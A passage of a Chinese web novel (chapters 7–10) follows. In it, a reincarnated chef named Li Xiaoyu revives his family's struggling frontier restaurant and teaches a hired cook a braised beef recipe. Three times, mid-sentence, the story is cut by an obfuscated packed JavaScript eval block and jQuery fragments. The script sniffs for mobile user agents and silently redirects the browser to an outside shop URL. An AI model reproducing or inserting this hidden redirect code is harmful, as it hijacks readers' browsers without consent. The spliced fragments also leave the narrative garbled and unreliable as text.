《咸鱼哭包在边关开饭馆后》
7. 第 7 章
晚上的时候,夫妻二人吹了灯躺下,各自心事重重。
半晌后,周珍娘道:“他爹,不然咱们回去吧。”
她知道自己的丈夫有时候会比较倔,但心里是想着他们母子两的。
再这样下去,家里真能赔的底朝天,不如就听大哥的离开。
现在说,也算是给个台阶下。
可她没想到,黎九州还是拒绝了。
“珍娘,如果大哥在这里能好好的,走也就走了。可你不知道,大哥在这,处处受压制,受委屈。我们要是走了,他和嫂子两人在这可怎么办啊?”
黎九州重重的叹息一声,“我留下哪怕帮不上大哥的忙,至少能让大哥难受时候,有人陪他喝酒解闷。”
“就是饭馆开不下去,太对不起小鱼了,之前还说要给小鱼赚大钱。”
黎九州把脸转过去,背对着周珍娘,声音有些哑,“珍娘啊,你说我咋就这样没用呢。”
周珍娘没想到大哥在这里的处境如此艰难,他们兄弟二人是自小就相依为命的长大。
大哥当官后,对这个弟弟更是没的说。
甚至对他们一家都没的说,那是真的好,处处为了他们家打算考量。
哪怕现在逼着他们一家离开,也都是为了他家想。
周珍娘也说不出要离开的话,就像黎九州说的,哪怕帮不上忙,至少能在苦闷时有亲人陪着。
她唉了一声,“要是长语和长清在就好了,这两孩子读书好,脑袋也灵光的很,肯定能帮大哥的忙。”
黎九州缓了一下情绪,“大哥说两孩子明年就要殿试,幸好有他们老师护着,在京城还能有个落脚的地方。真来这边,怕是前途也都搭进去了。”
“这倒也是。”周珍娘忧心道:“那咱们后面怎么办?关了饭馆,做个别的营生?”
可他们两除了种地,什么也不会,又能做什么营生呢?
难不成要在这买田种地?
黎九州道:“那多累啊,小鱼肯定不行。”
周珍娘一想也是这个理,她家小鱼最怕累了,真种地的话,这孩子吃不消的。
可是除了这些,他们是真的不会别的了。
夫妻二人一时间更愁了。
黎小鱼听着屋里没了动静,他拿着手里写的一张菜谱转身离开。
黎家夫妻养他十几年,他叫了十几年的爹娘,最终还是不想看着他们如同困兽挣扎。
所以写了个菜谱,想假装是从书里看见,抄录下来,让他们给饭馆厨子试一试。
这菜谱不会让饭馆变多好,但至少能让家里有些进项。
他一直在做心理建设,耽误了些时间。
没想到无意间听到了夫妻二人的对话。
看来,他爹娘是不可能离开辞州了。
除非大伯父一起离开。
既然如此,那计划就需要再变一变。
而且,爹娘似乎与前世的师父是不同的,他们好像真的在意他。
月色下,黎小鱼脚步轻快,嘴角翘了翘。
黎小鱼自从来了辞州后,就开始四处溜达。
有时候跑去码头,有时候跑去山脚。
还有时候会蹲在城墙根下的算命摊子旁边,和假装瞎子的算命先生聊天。
也会坐在茶摊里,一坐一下午,听着周围的人胡侃。
今日他本要去算命瞎子那陪聊的,不知怎么的,就走到了他家的小饭馆附近。
他爹正坐在门口,一副愁眉苦脸的样子。
黎小鱼想要上前,就见一行商风尘仆仆的进了小饭馆。
他踟蹰一会后,转身离开了饭馆。
算命瞎子那今天没什么人,平时人也不多。
黎小鱼到的时候,算命瞎子正在用布擦签文。
“小郎君今日来的怎么晚了?”
算命瞎子眼睛闭着,只靠耳朵去听。察觉到黎小鱼坐在他的对面,又是一阵新奇,“今日怎么坐对面了?不蹲边上了?”
“你耳朵倒是灵敏,不偷看都知道是我了。”
算命瞎子但笑不语,黎小鱼从竹桶里面随意抽出一根木签。
上面有不规则的凸起,算命瞎子摸一摸,就知道是哪个签。
黎小鱼将签递给算命瞎子,“今天算命,解解这签。”
算命瞎子嗬了一声,“稀奇,小郎君竟也开始信瞎子我了。”
黎小鱼心说他不信的。
只是这里没有心理医生,而算命和塔罗可以是心理医生的平替。
这也没塔罗让他占卜,自然就选算命了。
“我心中所想之事,是对的吗?”
算命瞎子摸着签文,“哎呀,这是上上签,大吉啊!小郎君心中所想定能成事。”
黎小鱼看瞎子手上的签文,这瞎子闭眼说瞎话。当他没发现那签上的凸起规律,分明是下下签。
他从小荷包里掏出三文钱,“诊费。”
算命瞎子闻言奇怪睁眼,意识到还在摆摊又赶紧闭上,“甚诊费?该是卦费才对。”
又过了两天,小饭馆的生意依旧惨淡。
黎小鱼看着父母碗里稀的都能当镜子照的粥,忍不住道:“爹,娘,你们不必为了省钱连饭都不好好吃。”
他碗里的粥依旧是稠的,准备用勺子给二人分一分,却被周珍娘阻止,“你多吃些,瞧你瘦的。”
黎小鱼没收手,还是将自己碗里的粥分给了周珍娘,“我打小就吃不胖,娘你又不是不知道。”
这话倒是真的,她家小鱼从小长得好,白白嫩嫩的,小时候脸上有些婴儿肥,可爱讨喜。
长大个子抽条的长后,吃的不老少,可就没见他胖过。
但话是这么说,周珍娘还是不愿意要,说着就又要推回给黎小鱼。
“你这每天都要来回的打拳、踢腿的锻炼身体,吃的少了哪能受得住?”
一碗稠粥推来推去的,黎小鱼心中有些哭笑不得,不知道的还以为他家真的连顿饱饭都吃不上了。
不过他也能明白他爹的压力,但钱也不是省出来的,再说光靠着这几口米又能省下多少钱呢?
黎小鱼沉默片刻,想着无意间听到的话,又看了一眼,只有他碗里才有的稠粥。
黎小鱼呼出一口气,整个人都轻松了许多。
家里的钱,确实经不住他爹赔了。
想要留在辞州陪着大伯父,得赚到足够多的钱才能安心躺平。
“爹,娘,明天我去饭馆做厨子。”
黎小鱼平淡开口,丢下一记重锤。
“啥?”
“啊?”
黎九州和周珍娘都惊呆了,怀疑自己饿糊涂听错了。
“小鱼你说你明天要干啥?”黎九州不确定的问一遍。
黎小鱼平静道:“厨子啊,我会做菜,还挺好吃。爹娘还吃过几次,夸我做的好吃呢。”
周珍娘怀疑自己记忆出了问题,“你啥时候会做的菜?不是连菜都没洗过吗?还有娘啥时候吃过你做的菜了?”
黎九州边听边点头,认同周珍娘的话。
黎小鱼:“在京城的时候,有几次我出去玩,会带回来好吃的。那些都是我借村人的厨房,买了食材调料去做的。”
“那些竟是你做的!”
黎九州印象里唯一几次吃过特别好吃的菜,就是儿子带回来的。
不过因为太好吃了,他等不及的一口接一口,并不记得味道,只知道好吃。
后面回味起来,也回不出个所以然来。
周珍娘也差不多,她只知道儿子带回来的吃的特别好吃,没想到是儿子自己做的。
她压下其他的思绪,奇怪道:“你这孩子要做吃的就做,怎么还费这些老劲,跑去外头偷偷做呢?”
黎小鱼回忆了一下,“之前去过一次灶台,爹和娘那时候说要我只等着吃就可以,以后也不要靠近灶台。”
这一世,他好不容易有爹娘。
只要是他爹娘给他提的要求,不管是什么,他都会遵循。
这话倒是叫黎九州夫妻二人愣住了,他们压根不记得有这回事。
不过也确信黎小鱼肯定没骗他们,这孩子打小就这样,特别听话。
有时候听他们的话,听的都有些过了。
明明是无意间说的一句话,就会记在心里,然后按着要求去做。
他们记得最深的一次是黎小鱼十岁那年。
因为黎小鱼总是控制不住自己的眼泪,动不动就哭。
好不容易生下来的孩子,夫妻二人也不想让左邻右舍的说孩子有病。
也不知道黎小鱼怎么的就听到他们的谈话,“希望小鱼不要再在人前哭了。”
从那天起,黎小鱼竟然持续一个多月,在家里闭门不出。
因为他做不到不哭,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913073|136312||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那只能做到不在人前哭。
一开始他们都以为孩子在外面受了什么委屈才不出去,可在家不出门时间太长了,还哪也不去。
这实在是太奇怪。
最后是夫妻两拉着黎小鱼仔细询问,周珍娘说了一定要他说实话,不然会担心的睡不着觉,这才让黎小鱼开口说清楚原因。
原来是因为他们的一句无心之语,才导致这样的局面。
周珍娘是又心疼又自责,她的儿子在她跟前活的小心翼翼,像是天天看她的眼色过活一样。
这心里是酸胀难受,哭了好几宿。
从那之后,夫妻二人再也没说过黎小鱼哭的这个事情。
而黎小鱼也从那时候开始,人越来越平和,还弄了很多空白的本子,总是在上面写写画画。
黎九州和周珍娘知道,那是孩子用来调节情绪的。
避免情绪波动大,又控制不住的哭起来。
只是没想到还有做饭这回事。
周珍娘心里又难受起来,她十月怀胎,辛苦生下来的孩子。
在她手底下,就像是寄人篱下,仰人鼻息过活。
小心谨慎的生怕自己做错了一点,惹人不快一样。
黎九州拍拍周珍娘的后背,对她轻轻摇头。
孩子这样肯定是有原因的,他不说就是不想说。
周珍娘很在意儿子,她也知道丈夫的意思。
压下了一肚子的疑问,她对黎小鱼说道:“小鱼啊,你这孩子就是太乖了。”
“说什么你都照做,可有时候有些话,是爹和娘的玩笑话,又或者是不想让小鱼辛苦,而不是不准小鱼那样做。”
周珍娘拉着黎小鱼的手,“以后你想做吃的,就做吃的。除了放火烧房子以外,小鱼在家里想做什么就做什么。”
“这家不仅是爹娘的,也是小鱼的,知道了吗?”
黎小鱼下意识的笑一下,结果眼泪刷的流出来。
他立即收了笑容,认命的掏出帕子,边擦边点头,“知道了娘。”
情绪稍微缓和后,黎小鱼起身拿了本平时不离手的本子,他递给黎九州和周珍娘,“爹,娘,这是我写的菜谱。”
本子有一些厚度,夫妻二人惊诧,“菜谱?这么多?”
不怪二人吃惊,实在是厨子手里的菜谱,最多也就十来个。黎小鱼这一本的厚度,二三十个都有了。
黎小鱼不想再哭,正控制自己情绪,此时心如止水,神色淡然,“多吗?我那些本子里,全是菜谱。”
黎九州直接跳了起来,“啥!全都是!”
那些本子收拾起来都有小半面墙了!竟然全是菜谱!
“儿啊,你…你这都是哪来的啊?咱可都是好百姓,可不兴偷别人的菜谱啊……”
黎九州声音越说越小,他紧紧盯着黎小鱼的脸,观察着他的反应。
结果只能感觉到他儿子平静的都快升仙了。
黎小鱼被他爹那偷瞄的模样逗笑,“放心吧爹,不是偷来的。”
他也不好说什么前世自己是大厨,累死后投胎穿越这些话。
只好半真半假的说了个理由,“我从小味觉就特别好,只要吃一道菜,就能尝出用的什么调料,量也能尝出来大概。”
“不仅如此,我还能加以改善,把味道变得更好。而且还可以将一道食谱举一反三,做出更多的来。我记的这些,都是改善过味道,还有自己举一反三的菜谱。市面上没有,独一无二的。”
黎小鱼的味觉确实灵敏,只是这些菜谱却不是因为尝出来,而是因前世记忆。
前世的他从小到大总是一个人,小时候无意间在垃圾站得到一本菜谱。
他没有童话书看,就将菜谱当成属于他的童话书。
看得次数多了,慢慢的就会背。
虽然没有过目不忘的能力,但他的记忆力也的确比常人要好一些。
尤其是一遍又一遍的看、默背之后,让他更加记忆深刻。
从那时起,他养成了看菜谱,背菜谱的习惯。
高兴了,难过了,生气了,孤独了,都会在心里默默的背之前看的菜谱。
二十多年来,他看了很多,也背了很多。
猝死后胎穿过来,这些记忆也都跟着他而来。
在这学会写字后,黎小鱼怕时间长忘记,就想一一默写下来。
如今,只默了一半。
8. 第 8 章
黎小鱼默下来的菜谱,都是他自己前世做过的。
调料用量也是他尝试后,自己定下的最合适的量。
原来的菜谱都没有写具体用量,就算是写了具体用量的,也被他调整过,或是换了别的一些配菜,提高了菜色味道。
夫妻二人难以置信的对视一眼,他们不识字,看不懂本子上的字。
但是能看明白黎小鱼每道菜谱都配着的图。
寥寥几笔,其实看不出所以然来。
但不影响二人亲爹眼、亲娘眼过于严重,就觉得好吃。
还没来得及消化情绪,他们又听黎小鱼说:“爹,牛肉不是好卖嘛,我会做麻辣牛肉,水煮牛肉,各种炒牛肉,炖牛肉,以及各种牛排,牛肉酱……”
黎九州听着儿子哗啦啦的报一堆菜名,呼吸都带着急促。
这不是菜名,这是钱啊!是他老黎家光辉的将来!
周珍娘和黎九州再次面面相觑,读懂了彼此眼神中的震惊。
乖乖!他们的儿子竟然是个天才!
黎小鱼琢磨着要赶紧把小饭馆的名声打出去,做牛肉是个很好的选择。
不过他会的太多,选不出哪个做招牌菜,干脆报出来让他爹选。
在报了一堆名字后,黎小鱼顿了一下,“卤牛肉也能做,比珍馔楼的要好吃。”
“不过珍馔楼一直以来也没找过我们麻烦,我们家饭馆也小,没什么势力撑腰,不好贴脸砸人家招牌。”
黎小鱼选择困难症,黎九州没有。
但他没吃过这些,不知道味道如何,他想了一下说:“哪个做的快就让哪个做招牌菜。”
出菜快的话,就能多卖一些,卖的多,钱就赚的多。
黎九州为自己的选择感到满意,觉得自己还是有些经商头脑的。
要说出菜快,自然是炒菜的速度最快。
可这里还没有炒,准确的说是铁锅没有普及。
究其原因,是因为朝廷对铁的管制。
铁匠铺子的铁那都是要登记在册,做了哪些,谁人买去,都是有数的。
铁价格贵,加上严格管制,谁也想不起来拿它做锅。
好在一口大铁锅的用铁量,还算在百姓私人用铁量的范围内。
“那爹和我去一趟铁匠铺子吧。”
因前些年出过军中倒卖废弃的兵器谋利事件,辞州的铁匠铺子铁的管控比京城还要严格一些。
未成丁的不允许购买铁器,大俞男子二十成丁,黎小鱼还差着年岁。
铁匠铺子里,王铁匠在听到要求,说是用铁打一口大锅的时候,一时间还没反应过来。
清云府一共三个铁匠铺子,非战时期,他们打的都是些农耕用具。
头一次听说要拿铁做锅的。
王铁匠没做过,一时间也有些犯难。
黎小鱼道:“这大铁锅的用量我也算了,是在规定的量里面。而且我做的大铁锅,是镶嵌在灶台里,就算是攻击人,也不好从灶台里抠出来不是。还不如那些个锄头铁锨厉害呢,最多顶在头顶防砸。”
王铁匠听了一耳朵,是这个理。
他瞅着黎小鱼唇红齿白,说话也好玩,声音一团和气,笑道:“你们不是辞州人吧?哪来的?说话这般有趣。”
“京城来的,投奔大伯父。”黎小鱼言简意赅。
听说是京城来的,王铁匠十分惊讶。
活这把岁数,头一回碰见人自愿从京城那神仙住的好地方,来他们辞州的。
这不是没罪找罪受嘛。
王铁匠没再继续追问,生意上门,又能做的情况下,没道理把人拒之门外。
“得,来做个登记。姓甚名谁,家住哪里,铁锅的用处都给我详细报来。”
他严肃的强调一句,“万不可有任何的欺瞒诓骗,会有将军去查的。若是不对,你我都得去吃军棍。”
黎小鱼点头,“放心吧,我们一家是遵纪守法的好百姓,不会耍那滑头的。”
说罢按着王铁匠的要求,一一将信息报给他。
记录好之后,王铁匠给黎小鱼一张字条。
那上画了个圆圈,大概是代表着铁锅,边上歪歪扭扭的写了个“拾”字。
“十日后拿着这条子来取。”
黎小鱼将字条收好,和黎九州二人离开了铁匠铺。
铁锅十天后才能取,这些时间不好干等着。
黎小鱼对黎九州道:“爹,饭馆这几日还是要经营的。我明日就去,先做些红烧牛肉去卖。”
“对了,你得帮我问问卢叔叔愿不愿意给我打下手。若是愿意的话,红烧牛肉这道菜,我可以交给他。”
“若是不愿意,咱们怕是还要再招一个学徒进来跟我后面学。不然我一个人定是忙不过来的。”
黎小鱼前世就是厨子,深刻的知道到了饭点的时候,后厨会有多忙。
那简直就是争分夺秒,还不能有出错。
黎九州赞同的点头,“我这就去问问大海,不行的话,今日就去牙行帮你寻个手脚麻利的学徒来。”
小饭馆现在虽然整日清闲没什么人,但京城的酒楼到了饭点的时候,客还是有不少的。
后厨是什么样的光景,他不是不知道。
他家小鱼做的东西好吃,肯定会有很多人来吃。
后厨真要是只有小鱼一个人,那得多累啊。
“爹,我去市集买些要用的调料,你正好去饭馆和卢叔叔说一声。”
“那地方路远,你拿着钱坐马车去。”
黎九州从荷包里面掏出一些碎银塞给黎小鱼的手里,“碰上好吃的就买,钱别舍不得花知道不?”
黎小鱼低着头,将碎银放进周珍娘给他缝的小荷包,“知道啦爹。”
听出黎小鱼声音有些不对劲,黎九州摸了一把他的头,忍不住笑了一声。
这孩子只要对他好一点,情绪就有大起伏。
幸好不是个女儿家,若是女儿他整天都得担心发愁孩子被哪个臭小子给骗走。
黎小鱼拿着钱坐了马车,速度快些,能早去早回。
黎九州则是去黎家小饭馆,卢大海正好给店里唯一的客人上了煎牛肉,这会子正闲着。
黎九州对卢大海招招手,“大海啊,你来,我有事对你说。”
卢大海有些疑惑的去了后院,“东家啥事啊?”
“大海,你先听我说完话,可千万别先着急。”
黎九州在看到卢大海点头之后,才继续说下去。
“明日开始,小鱼,就是我儿子,他会来饭馆里面做厨子。这孩子厨艺很好,但因为我和他娘的原因,一直以来不敢显露。”
“他那有点菜谱,正好有做牛肉的。后厨忙起来少不了人,他的意思是,如果大海你愿意打下手,那就教你一道牛肉做的菜。”
“若是你不愿意,我会另外招个学徒来给小鱼。”
黎九州知道卢大海自幼离家学艺,刚出师就又孤身一人来这清云府赚钱养家,十分的不易。
他也是苦出身,知道这其中的艰辛。
若是现在在京城,他定然会说,卢大海可以继续留下,客人有点菜他能做就做。
可事关小鱼,他不想儿子有一点的不顺心。
即便心里不忍心直接将人撵走,可也不好将人留下。
虽然小鱼没有要求,可这一山不容二虎的道理,他是知道的。
最终还是道:“到时候,我会给你直接结一月的月钱。在你找到下家之前,没地方住的话,可以在我这后院继续住着。”
卢大海能明白黎九州的意思,也知道饭馆如今这样肯定是不长久的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913074|136312||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他没有选择离开,就是为了报答学会煎牛肉的恩情。
不然,他也会及时止损,去寻出路。
卢大海想了一会后,不确定的问,“小东家他,他愿意教俺做牛肉?”
黎九州点头,“小鱼是这么说的。”
对厨子来说,菜谱就是安家立业的根本。除了弟子和亲人外,是不可能外传的。
卢大海有了成算。
继续留下月钱不变,还能再跟着学一道菜,他是一点也挑不出不好来。
唯一一个就是不能掌勺,可他现在掌勺,饭馆都没人来吃。
还不如不掌勺,能学点东西就学点东西。
不管这道菜味道到底如何,不拜师就能学到,这简直就是天上掉馅饼的好事啊。
他万万没想到自己还能走这样的好运气,“俺留下给小东家打下手。”
黎九州对卢大海的选择,没有太惊讶。菜谱对厨子的重要性,他也是知道的。
确认卢大海选择留下,他强调了一遍,“若是留下学了菜谱,不能立马就走人的。”
不等黎九州说完,卢大海就点头,“自然是不会走,那俺成啥人了!东家你放心,俺是学了东西的,不能喊小东家一声师父,但肯定会死心塌地的留在饭馆的。除非东家你们不需要俺了,俺才离开。”
黎九州不太清楚他们这些师门规矩,但也知道,时人讲究个一日为师终身为父。
拜师了才能学艺,不然人家凭什么把毕生所学教给你?
他想了一下五大三粗的壮汉,对着他家小鱼喊师父的样子,突然打了个哆嗦。
这画面挺诡异的,而且卢大海本有师传,且人还尚在,是不好拜两个师父的。
“好,那这事就说定了。”
黎九州将事情说定,就等着明天小鱼来了。
而黎小鱼那边,已经大包小包的买了一大堆的香料和调料。
马车都给塞的没空位了,自己带的银子和他爹给的银子全部花光光了。
中途还去了一趟药铺,抓了一些药草出来。
也不是拿方子抓药,是他自己想到什么抓什么,合在一起诡异的很。
临走的时候,抓药的学徒还叮嘱他,“外头的偏方也不能尽信,你抓的这药啊,可别真一股脑全和一起煮了吃。”
黎小鱼心知对方是误会了,此时在善意的提醒,他微微一笑,“好的,多谢小郎君。”
辞州这地界男女老少都粗旷的很,体格也是一个比一个大。
肤色偏麦色居多,简而言之各个皮糙肉厚,不然抵挡不住边关寒风的侵扰。
权贵家的姑娘们细皮嫩肉的都少,更别说男子了。
黎小鱼样貌出众,皮肤白嫩,唇色红润。说话声音清越,瞧着就是个软性子好脾气的,在这里实在是突出。
药铺学徒头一次遇见这样一个对他说话温柔的人,倒是有些不好意思的挠头,大嗓门都下意识的放小,“这有啥可谢的,小郎君客气了。”
……
东西买齐后,黎小鱼去了饭馆。
到黎家小饭馆的时候,黎九州还在饭馆里面。
他想着黎小鱼明天会来,怕黎小鱼热,就定了冰,要把后院的小冰窖给填满。
这时候送冰的人正好过来,忙活着填冰窖。
“小鱼怎么来这了?”
黎九州看到儿子,立马上前,黎小鱼指着马车,“我买了些要用的东西,有点多,爹你找人帮我搬一下吧。”
“大海!”
黎九州对着小饭馆里面喊了一声,卢大海很快跑了出来,“东家咋了?”
“这就是我儿子,黎小鱼。”
黎九州给卢大海介绍了后,又对黎小鱼说:“这就是咱们饭馆的厨子,卢大海。”
黎小鱼对卢大海颔首,“卢叔叔好。”
9. 第 9 章
黎小鱼声音温润,脸上带着浅浅的笑意。
卢大海有些不好意思道:“俺咋能担得起小东家一声叔呢,小东家就叫我卢厨子吧,俺听着心里也松快。”
黎小鱼见卢大海是真心要求,便应了下来,“好,卢厨子。”
卢大海上前去将马车上的麻袋扛在肩头,等全都送进小仓库后,他接过黎小鱼递过去的布巾拍拍身上的灰尘。
他到底是学厨的,香料味道也重,能闻得出来。
也知道很多给贵人们做饭的厨子,会用昂贵的香料去做菜。
只是这东西实在是贵,他们这些人即便是知道,也不会买来研究的。
小东家一下子买这么多来,应该就是要用来做菜的。
卢大海正想着,就听见黎小鱼和他讲话。
“卢厨子,明天我要做牛肉卖,辛苦你明日早上去肉市的时候,多买些牛肉来。”
黎小鱼说了要用的量,还有对牛肉的要求。
卢大海没空再想其他,在仔细记下后,又复述一遍确认没有记错。
想着要买的那么多的量,还是有些犹豫的问道:“小东家,咱们买这么多牛肉,能卖的完吗?”
他平时都不敢买多,小东家这一下子买这么多,按着平日里铺子里售卖的情况,这些够卖两月的。
黎小鱼压根没想过会卖不完,就算卖不完也不担心,“卖不完就我们自己吃。”
他们吃不完,还有他大伯父一家,和他府衙同僚呢。
牛肉在辞州哪怕有钱就能买,那也是好东西。
让他大伯父给交好的一些同僚送去,这做好的肉菜,也不能说是行贿还能拉近关系,何乐不为。
想到这里,黎小鱼又加了一些的量。
他确实要给大伯父那边送一些的,之前报的量,只够饭馆卖的。
卢大海又记了一遍新说的量,只要小东家心里有数就行,其他的他也不好多说什么。
而且现在小饭馆冰窖能用了,卖不完放冰窖里面,应该也不会坏的太快。
红烧牛肉想要软烂好入口,又入味的话,炖煮的时间可不能短。
这里的锅密封性不好,需要用的时间就更长。
选择的牛肉也有讲究,带点肥的牛腩肉,口感更丰富一些。
不会因为全都是瘦肉而觉得干柴,也不会因为油脂太多又觉得肥腻。
但因为牛肉量也有限,不好让黎小鱼买足够量的部位肉,也就没得挑,量够就行。
这道菜需要的时间长,自家的家庭做法,与饭馆的做法也有些出入。
家里做着吃不考虑时间成本,即煮即吃最好。
饭馆要对外售卖,时间上不能太慢,客人等不了那么长的时间。
所以先将肉切好煮入味,一直小火煨着。
需要用的时候再捞上来加上香料调料炒一下,再加水大火炖一会便可以。
因此黎小鱼明天也得起个大早赶来饭馆准备才行,不然中午开业可没得卖了。
由于明天要起早,黎小鱼吃完饭后就去洗漱睡觉去了。
周珍娘看着黎小鱼的背影,有些担忧道:“小鱼明天会很累吧。”
黎九州不太确定的点头,“应该吧。”
他虽说相信儿子厉害,可他不太相信那些食客会来很多。
周珍娘又是一声叹息,“我还记得这孩子说的第一句话是在梦里,不是喊爹,也不是喊娘,而是喊累,太累了,想休息。”
她是信命,信前世今生的。
她之前的孩子都没能留住,就有道士与她说,是因为她的子女缘薄弱,一生只会有一个命定的孩子。
哪个孩子生下,那就是她这一生唯一的孩子。
而且,这孩子是从前世寻来,只认她这一个娘亲的。
没过多久,她就怀了小鱼,还成功的生了下来。
她当年听到那么小的孩子做梦喊累,心里心疼的不行。
老道士说了,这孩子是从前世寻来的。
听着孩子开口的第一句话就是喊累,也不知道这孩子到底吃了多少的苦头,他们母子两才得以在今生相见。
黎九州本来不信,后面周珍娘怎么也没有孩子,加上妻子深信不疑,他慢慢的也就信了。
夫妻二人一直注意着,不让黎小鱼为家里的事情操心,也不让他受苦受累。
这辈子做他们的孩子,只需要好好享福就可以。
谁知道现在不仅不能享福,还要跟着起早贪黑的忙碌。
黎九州道:“明天我去小饭馆里帮忙,做帮工。虽然替不了小鱼,但能照顾客人。”
周珍娘也点头,“我也去。”
……
黎小鱼起了个早,洗漱完吃了个包了肉馅的饼子后,就见他爹娘也收拾好,要与他一起去。
周珍娘拉着小鱼上牛车,这个点只有牛车在外头接活。
她道:“娘和爹就是怕小鱼累着了,去那帮帮你,做点杂活。”
黎小鱼看一眼自己的爹娘,笑道:“不会,有爹娘在,我不会累的。”
“等饭馆生意好些,咱们多雇点人就行。”
夫妻二人点头,“是这个理。”
一家三口在慢慢升起的晨光中,坐着牛车,来到了黎家小饭馆。
卢大海刚好去肉市买了黎小鱼需要的牛肉回来,他与黎九州夫妻二人打了个招呼后,就被黎小鱼带去后厨,开始为今日的菜做准备。
牛肉洗净切成大小均匀的肉丁,大概能够成年男子一口一个的。
期间葱姜蒜加几粒花椒,切片泡水。后面需要加进切好的牛肉里面,搅和一下放一会。
煮的时候,葱姜蒜依旧要加,泡的料水剩的一半也要倒进去。还要再加少许的白酒,这没料酒,这样能最大程度的去腥。
黎小鱼守着大陶锅的边,用勺子撇去浮沫。
卢大海紧跟着他,看黎小鱼动了两下后道:“小东家我来吧。”
这动作简单,他完全能最好。
黎小鱼也没客气,直接将勺子给了卢大海,“这些浮沫撇去,可以有效的去腥。最后煮的时候,汤色也清亮一些。以后做肉,想要去腥,这一步都可以适用。”
卢大海闻言惊喜不已,他默默的在心里背了几遍,连连点头,“多谢小东家指点。”
肉很快煮好,接下来就是比较关键的一步。
炖肉。
想要入味口感好,少不了香料和调料的加持。
卢大海将煮好的肉先捞出来,满满当当的一大陶锅。
随后就和黎小鱼去了小仓库。
黎小鱼的调料与香料用量,包括炖
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913075|136312||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
煮的时间,火候,都是尽可能的做到最好。
让菜最后的成品,味道口感又好,还能快速的上菜。
为保障香料调料的用量精准,方便后面卢大海独自做这道菜,他买香料的时候,还专门买了戥子称。
这是拿着专门称金银和香料的,用戥子称去称所需用料,能最大程度的将量控制好。
进了库房,取了秤,黎小鱼一边称一边对卢大海说:“卢厨子,你先好好记一记我用的哪些料。后面我会给你具体的用量,到时候我不在,你可以自己配。”
卢大海眼睛瞪的老大,他还沉浸在黎小鱼真的会用香料做菜的震惊中,就听见对方说要他学。
这让卢大海难以置信,“小东家这都教我?”
这可是绝密的配方啊!
卢大海是怎么也想不到,竟然会有人如此轻易的就将珍贵的菜谱直接就教给旁人。
他还以为自己起码要老老实实跟在小东家身边,干个几年的下手才能学到点皮毛呢。
谁成想第一天就接触到核心配方。
“怎么了吗?”
因为拥有前世记忆,人们想要学会一门技术,只要交学费就可以学到。
如果不是深入学习,甚至只需要有网络就可以。
因此在黎小鱼的下意识里,教人做菜其实并没有什么。
且黎小鱼穿越过来后,就是在繁华热闹的京城,日子过的滋润。
整日两耳不闻窗外事,咸鱼躺享福。除了有些苦恼,这具身体只要有稍微大点的情绪起伏,就忍不住哭以外,日子过的当真是十分潇洒快乐。
导致他一下子有些不明白为什么卢大海那么吃惊。
他还以为卢大海不愿意,“爹说你愿意跟着我打下手,学做红烧牛肉的啊。”
如果不教卢大海的话,后面他就要天天早起跑来盯着,他怕自己会再次猝死。
他这一世要杜绝一切猝死的可能,必须要劳逸结合,可不能再把自己给累着了。
“俺当然是愿意的!”
卢大海急忙表态,他怎么可能不愿意!他就是没想到这么快,这么简单。
这可是千载难逢的好机会,他这是鸿运当头啊!不然咋能被这么大的馅饼给砸中!
黎小鱼耳膜有些痛,卢大海的嗓门着实不小。
他揉揉耳朵,“好吧,那你要看仔细了啊。”
卢大海打起十二分的精神,紧盯着黎小鱼抓香料的手。
黎小鱼怕卢大海不认识香料,抓的时候会给他详细介绍。
不求他一下子完全记住,但要有个印象在。
等香料配好,牛肉再次入锅炖煮。
期间什么时间调什么火候,黎小鱼也都仔仔细细的告诉卢大海。
为了加强记忆,是卢大海掌火,黎小鱼在边上指挥。
大半个时辰后,大陶锅的盖子已经遮挡不住炖牛肉的香气。
厨房里烟雾缭绕,全是肉香。
牛肉已经开始入味,变软。
只要用小火煨着就可,需要时取用再深入加工,能减少炖肉时间,提高出菜效率。
黎九州看日头上来,去小冰窖取了盆冰送去小厨房。
刚到门口就闻到了令人嘴馋不已的香味,他嗅着鼻子,“小鱼你做的这是啥,咋这样好闻!”
10. 第 10 章
黎九州知道黎小鱼会做菜是一回事,亲眼看着又是另一回事。
以前虽然在不知情的情况下吃过,也知道是好吃。
可味道具体是什么样的,早就给忘了。
这会的香味扑鼻,让黎九州有了更实质的感受。
嗅着肉香,神情都不由自主的陶醉。
闻着都这么香,吃起来不得把人给香迷糊啦!
黎小鱼上前接过他爹手里的冰,“红烧牛肉,待会弄出来我给爹娘弄一碗,你们就坐在店里桌子那吃。”
黎九州一听连忙摇头,“那咋成啊!你娘吃和你吃倒是成,爹就不吃了,留着卖钱多好啊。”
